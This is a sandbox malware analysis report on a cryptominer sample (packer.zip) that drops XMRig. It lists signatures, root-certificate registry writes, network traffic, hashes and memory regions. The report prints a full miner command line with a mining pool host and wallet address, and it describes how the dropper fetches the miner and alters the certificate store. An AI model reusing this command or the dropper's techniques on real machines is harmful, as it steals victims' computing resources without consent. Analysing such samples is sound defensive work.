Malware Analysis Report

2024-09-09 20:30

Sample ID 240614-a2vqas1hqk
Target packer.zip
SHA256 2712cfc84e57a8c2c3637bc69d65c1741fcb7a600c78709bbe3d47c5f76a4293
Tags
xmrig miner
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral10

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral15

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral8

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral9

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral18

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral19

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral20

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral12

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral13

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral16

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral17

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral7

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral11

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral14

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

2712cfc84e57a8c2c3637bc69d65c1741fcb7a600c78709bbe3d47c5f76a4293

Threat Level: Known bad

The file packer.zip was found to be: Known bad.

Malicious Activity Summary

xmrig miner

XMRig Miner payload

xmrig

Executes dropped EXE

Unsigned PE

Suspicious behavior: LoadsDriver

Modifies system certificate store

Suspicious use of AdjustPrivilegeToken

Suspicious use of FindShellTrayWindow

Suspicious use of WriteProcessMemory

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-06-14 00:43

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral5

Detonation Overview

Submitted

2024-06-14 00:42

Reported

2024-06-14 01:28

Platform

win10v2004-20240611-en

Max time kernel

1793s

Max time network

1804s

Command Line

"C:\Users\Admin\AppData\Local\Temp\main - Copy (3).exe"

Signatures

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

xmrig

miner xmrig

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 C:\Users\Admin\AppData\Local\Temp\main - Copy (3).exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\main - Copy (3).exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\main - Copy (3).exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\main - Copy (3).exe

"C:\Users\Admin\AppData\Local\Temp\main - Copy (3).exe"

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

xmrig-6.21.0\xmrig.exe --url pool.hashvault.pro:80 --user 46DiTxnXmukGpoGKFDViugiZA1Zuu181wJGSTvGVyJUv4HAdJaozh3jMX7nAEauswGVAUvLnY6tai2AbiKv9Pbt2EAsu8yR --pass T --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4288,i,6522675234395427298,2952738987384583032,262144 --variations-seed-version --mojo-platform-channel-handle=4280 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4868,i,6522675234395427298,2952738987384583032,262144 --variations-seed-version --mojo-platform-channel-handle=3428 /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 76.234.34.23.in-addr.arpa udp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 185.199.108.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 133.108.199.185.in-addr.arpa udp
US 8.8.8.8:53 pool.hashvault.pro udp
DE 45.76.89.70:80 pool.hashvault.pro tcp
US 8.8.8.8:53 70.89.76.45.in-addr.arpa udp
US 199.232.210.172:80 tcp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 10.160.77.104.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 24.139.73.23.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

MD5 e2fe87cc2c7dab8ca6516620dccd1381
SHA1 f714ec0448325435103519452610cf7aadf8bbba
SHA256 d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4
SHA512 8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

memory/4336-14-0x000002D1A0C90000-0x000002D1A0CB0000-memory.dmp

memory/4336-15-0x000002D1A2690000-0x000002D1A26B0000-memory.dmp

memory/4336-16-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-19-0x000002D1A26D0000-0x000002D1A26F0000-memory.dmp

memory/4336-18-0x000002D1A26B0000-0x000002D1A26D0000-memory.dmp

memory/4336-17-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-20-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-21-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-23-0x000002D1A26D0000-0x000002D1A26F0000-memory.dmp

memory/4336-22-0x000002D1A26B0000-0x000002D1A26D0000-memory.dmp

memory/4336-24-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-25-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-26-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-27-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-28-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-29-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-30-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-31-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-32-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-33-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-34-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-35-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-36-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-37-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-38-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-39-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-40-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-41-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-42-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-43-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-44-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-45-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-46-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-47-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-48-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-49-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-50-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-51-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-52-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-53-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-54-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-55-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-56-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-57-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-58-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-59-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-60-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-61-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-62-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-63-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-64-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-65-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-66-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-67-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-68-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-69-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-70-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-71-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-72-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-73-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-74-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-75-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-76-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-77-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-78-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-79-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-80-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-81-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

memory/4336-82-0x00007FF79A890000-0x00007FF79B393000-memory.dmp

Analysis: behavioral10

Detonation Overview

Submitted

2024-06-14 00:42

Reported

2024-06-14 01:37

Platform

win10v2004-20240611-en

Max time kernel

1793s

Max time network

1804s

Command Line

"C:\Users\Admin\AppData\Local\Temp\main - Copy (6) - Copy.exe"

Signatures

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

xmrig

miner xmrig

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\main - Copy (6) - Copy.exe

"C:\Users\Admin\AppData\Local\Temp\main - Copy (6) - Copy.exe"

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

xmrig-6.21.0\xmrig.exe --url pool.hashvault.pro:80 --user 46DiTxnXmukGpoGKFDViugiZA1Zuu181wJGSTvGVyJUv4HAdJaozh3jMX7nAEauswGVAUvLnY6tai2AbiKv9Pbt2EAsu8yR --pass T --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 6.160.77.104.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
NL 23.62.61.194:443 www.bing.com tcp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 185.199.108.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 133.108.199.185.in-addr.arpa udp
US 8.8.8.8:53 194.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 pool.hashvault.pro udp
DE 45.76.89.70:80 pool.hashvault.pro tcp
US 8.8.8.8:53 70.89.76.45.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 253.15.104.51.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

MD5 e2fe87cc2c7dab8ca6516620dccd1381
SHA1 f714ec0448325435103519452610cf7aadf8bbba
SHA256 d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4
SHA512 8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

memory/4028-14-0x000002E620350000-0x000002E620370000-memory.dmp

memory/4028-15-0x000002E6B3FB0000-0x000002E6B3FD0000-memory.dmp

memory/4028-16-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-19-0x000002E6B4600000-0x000002E6B4620000-memory.dmp

memory/4028-18-0x000002E6B4620000-0x000002E6B4640000-memory.dmp

memory/4028-17-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-20-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-21-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-23-0x000002E6B4600000-0x000002E6B4620000-memory.dmp

memory/4028-22-0x000002E6B4620000-0x000002E6B4640000-memory.dmp

memory/4028-24-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-25-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-26-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-27-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-28-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-29-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-30-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-31-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-32-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-33-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-34-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-35-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-36-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-37-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-38-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-39-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-40-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-41-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-42-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-43-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-44-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-45-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-46-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-47-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-48-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-49-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-50-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-51-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-52-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-53-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-54-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-55-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-56-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-57-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-58-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-59-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-60-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-61-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-62-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-63-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-64-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-65-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-66-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-67-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-68-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-69-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-70-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-71-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-72-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-73-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

